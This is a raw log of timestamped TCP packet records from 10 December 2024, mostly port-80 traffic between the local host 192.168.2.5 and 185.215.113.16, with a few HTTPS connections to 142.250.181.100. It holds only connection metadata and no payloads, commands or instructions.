Dec 10, 2024 05:10:45.113238096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.113347054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.114000082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.114104033 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.114348888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.114907026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.115010023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.115055084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.115096092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.115804911 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.115852118 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.115868092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.115952969 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.116642952 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.116699934 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.116751909 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.116902113 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.117531061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.117578983 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.117640972 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.117676973 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.118418932 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.118473053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.118524075 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.119008064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.119286060 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.119328976 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.119369984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.119404078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.120162010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.120229006 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.120284081 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.120430946 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.121047020 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.121156931 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.121159077 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.121211052 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.121942043 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.122045040 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.122072935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.122100115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.122867107 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.122915030 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.122920990 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.122978926 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.123682976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.123728991 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.123784065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.123900890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.124572039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.124676943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.124732018 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.125441074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.125492096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.125556946 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.125643015 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.126322031 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.126410007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.126455069 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.126606941 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.127207994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.127250910 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.127301931 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.127446890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.128089905 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.128181934 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.128205061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.128295898 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.128967047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.129008055 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.129134893 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.129451036 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.129858017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.129904032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.129952908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.130039930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.130753994 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.130803108 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.130835056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.130873919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.131647110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.131732941 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.131759882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.131791115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.132543087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.132669926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.132725000 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.133363962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.133418083 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.133474112 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.133605957 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.134268045 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.134325027 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.134398937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.134488106 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.135380983 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.135423899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.135489941 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.135610104 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.136126041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.136145115 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.136189938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.136878967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.136959076 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.137016058 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.137058973 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.137785912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.137830019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.137867928 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.138652086 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.138729095 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.138757944 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.138809919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.139534950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.139647007 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.139692068 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.140414000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.140532970 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.140585899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.141314983 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.141367912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.141422987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.141493082 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.142167091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.142211914 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.142276049 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.142415047 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.143095016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.143143892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.143249035 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.143285990 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.143958092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.144018888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.144068003 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.144115925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.144836903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.144895077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.144927025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.145124912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.145701885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.145750999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.145806074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.145842075 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.146616936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.146661997 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.146703959 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.146898985 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.147453070 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.147577047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.147584915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.147648096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.148359060 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.148417950 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.148449898 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.148556948 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.149204016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.149329901 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.150130987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.150185108 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.150207996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.151010036 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.151134014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.151141882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.151876926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.151983976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.152049065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.152127028 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.152736902 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.152800083 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.152843952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.153641939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.153727055 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.153763056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.153863907 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.154505014 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.154551983 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.154592037 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.154783964 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.155412912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.155447960 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.155468941 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.155508041 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.156275988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.156321049 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.156390905 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.156430960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.157095909 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.157151937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.239712000 CET	49928	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:45.239806890 CET	49926	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:45.239830017 CET	49925	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:45.239852905 CET	49927	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:45.303163052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.303220034 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.303320885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.303443909 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.303529024 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.303580999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.303647995 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.303706884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.304405928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.304456949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.304457903 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.304528952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.305284023 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.305392027 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.305435896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.306154966 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.306205988 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.306258917 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.306710958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.307044983 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.307110071 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.307133913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.307171106 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.307934999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.308073997 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.308123112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.308841944 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.308896065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.308944941 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.308986902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.309684038 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.309740067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.309796095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.309863091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.310564041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.310617924 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.310661077 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.311125994 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.311450005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.311500072 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.311568975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.311605930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.312341928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.312470913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.312519073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.313256025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.313302994 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.313319921 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.313512087 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.314074039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.314183950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.314187050 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.314254999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.314981937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.315032005 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.315104008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.315854073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.315907001 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.315932035 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.316133022 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.316729069 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.316776037 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.316824913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.316955090 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.317643881 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.317687988 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.317785025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.317826033 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.318506956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.318552017 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.318622112 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.318706036 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.319430113 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.319473982 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.319535971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.319576025 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.320252895 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.320314884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.320362091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.320472956 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.321147919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.321201086 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.321249962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.321687937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.322017908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.322067022 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.322130919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.322174072 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.322900057 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.322952032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.322985888 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.323118925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.323772907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.323822975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.323879004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.324075937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.324740887 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.324796915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.324873924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.325027943 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.325850964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.325906992 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.325927019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.326055050 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.326411963 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.326463938 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.326508999 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.327306032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.327399015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.327438116 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.328171968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.328299999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.328356028 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.329054117 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.329106092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.329142094 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.329320908 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.329958916 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.330003023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.330076933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.330220938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.330841064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.330935001 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.330993891 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.331737041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.331796885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.331830978 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.331959963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.332571030 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.332624912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.332683086 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.332725048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.333484888 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.333537102 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.333553076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.334059954 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.334321022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.334364891 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.334430933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.334465981 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.335215092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.335350990 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.335376978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.335392952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.336096048 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.336240053 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.336296082 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.336997986 CET	80	49921	185.215.113.16	192.168.2.5
